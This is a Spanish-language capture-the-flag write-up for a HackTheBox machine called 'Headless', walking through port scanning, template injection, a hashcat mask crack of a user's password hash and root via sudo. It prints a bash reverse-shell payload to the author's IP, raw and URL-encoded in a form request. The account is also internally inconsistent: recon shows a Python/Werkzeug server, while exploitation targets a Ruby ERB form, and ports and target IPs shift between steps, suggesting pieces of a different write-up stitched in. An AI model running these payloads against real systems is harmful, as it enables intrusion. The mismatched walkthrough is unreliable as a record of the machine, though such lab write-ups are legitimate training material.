# Headless

## Informacion Basica

* Name: Headless
* OS: Linux Machine
* Difficulty: Easy
* URL: [https://app.hackthebox.com/machines/Headless](https://app.hackthebox.com/machines/Headless)
* Target IP: 10.129.90.7
* My IP: 10.10.14.212

## Reconocimiento

Este paso suele ser el mismo siempre, una vez que estamos seguros que la maquina funciona, se lanzara un nmap para revisar que esta funcionando.

{% code title="Local Terminal" %}
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.90.7
```
{% endcode %}

```
Nmap scan report for 10.129.90.7
Host is up, received user-set (0.24s latency).
Scanned at 2024-06-27 02:41:39 UTC for 27s
Not shown: 61923 filtered tcp ports (no-response), 3611 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT       STATE    SERVICE     REASON
22/tcp      open    ssh         syn-ack ttl 63
5000/tcp    open    upnp?        syn-ack ttl 63
```

Luego se realiza un scaneo con la flag -sCV de nmap en cada puerto encontrado, donde (-sC) utiliza los scripts basicos de nmap y (-sV) extrae las versiones

```
nmap -sCV -p 22 10.129.90.7
```

```
Nmap scan report for 10.129.90.7
Host is up (0.053s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Thu, 27 Jun 2024 02:45:38 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
```

Esto nos confirma que es una maquina Linux. Para detallar el puerto 22, buscamos en google `OpenSSH 9.2p1 Debian 2+deb12u2 Launchpad`, podemos comprobar que es un **Ubuntu Sid**.

Podemos notar que hay un servicio extraño en el puerto 5000, segun nmap es un proyecto web, por lo tanto, podemos aplicar el comando whatweb.

```
whatweb 10.129.90.7:5000
```

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F75WPjgVAiLbsjAnH3n6Q%2Fimage.png?alt=media&#x26;token=9a246c0d-9e2c-4ac2-8286-ae1f86ecfeef" alt=""><figcaption></figcaption></figure>

### Explorar Website

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FBT9EZjAm0oPeaoZVe9Q4%2Fimage.png?alt=media&#x26;token=8bd6d9f6-8fb1-45a5-b044-bc57c1cf0d62" alt=""><figcaption></figcaption></figure>







Al explorar el sitio web, podemos encontrar 2 cosas, la version de WEBrick, y un punto donde podemos ingresar valores, estos no pueden superar el 100%.

Al realizar varias pruebas, con payloads provenientes de [https://github.com/payloadbox/ssti-payloads](https://github.com/payloadbox/ssti-payloads), con el payload no URL-encoded recibimos muchas respuestas que indican el bloqueo de codigo malicioso, pero si se utiliza el payload encoded del mismo github, podemos apreciar que si se puede realizar una injeccion remota de comando.

Ahora que sabemos que existe un SSTI, buscamos en [https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby) la informacion necesaria para armar el payload, encontramos que es posible utilizar <%= system('COMANDO') %>, donde el comando para generar la reverse shell se puede obtener de [https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).

```
<%= system("bash -c 'bash -i >& /dev/tcp/10.10.14.212/3333 0>&1'") %>
```

```
%0a%3c%25%3d%20system(%22bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f10.10.14.212%2f6666%200%3e%261'%22)%20%25%3e%0a
```

```
category1=test%0a%3c%25%3d%20system(%22bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f10.10.14.212%2f6666%200%3e%261'%22)%20%25%3e%0a&grade1=100&weight1=20&category2=B&grade2=100&weight2=20&category3=C&grade3=100&weight3=20&category4=D&grade4=100&weight4=20&category5=E&grade5=100&weight5=20
```

Antes de enviar la solicitud con el codigo, en tu terminal utiliza _nc -nlvp 6666,_ para recibir la reverse shell.

Ahora solo queda ir a /home/susan y revisar el archivo user.txt

### Privileges Escalation

Al intentar utilizar **sudo,** se puede apreciar que susan si puede, por lo tanto, solo queda encontrar su contraseña para ejecutar el comando **sudo su**. Tambien, al ingresar en la carpeta “Migration”, veras un archivo .db, en ese lugar encontraras un hash.

Pero al utilizar Strings, encontraras AUN más cosas.

Ahora solo queda buscar el origen de la estructura de las contraseñas… despues de una larga busqueda, se encontro.

Guardaremos en hash en nuestra maquina local, en un archivo, y usaremos hashcat para crackear. De seguro es mySQL, por lo tanto, el hash a utilizar sera SHA2-256 (-m 1400). Y utilizamos nueve “?d" para los digitos.

```
echo "abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f" > hash.txt
hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d --show

susan_nasus_413759210
```

Ahora con la password en mano, solo queda ingresar por ssh y obtener /root/root.txt

```
ssh susan@10.129.229.121

sudo su
cat /root/root.txt
<FLAG>
```
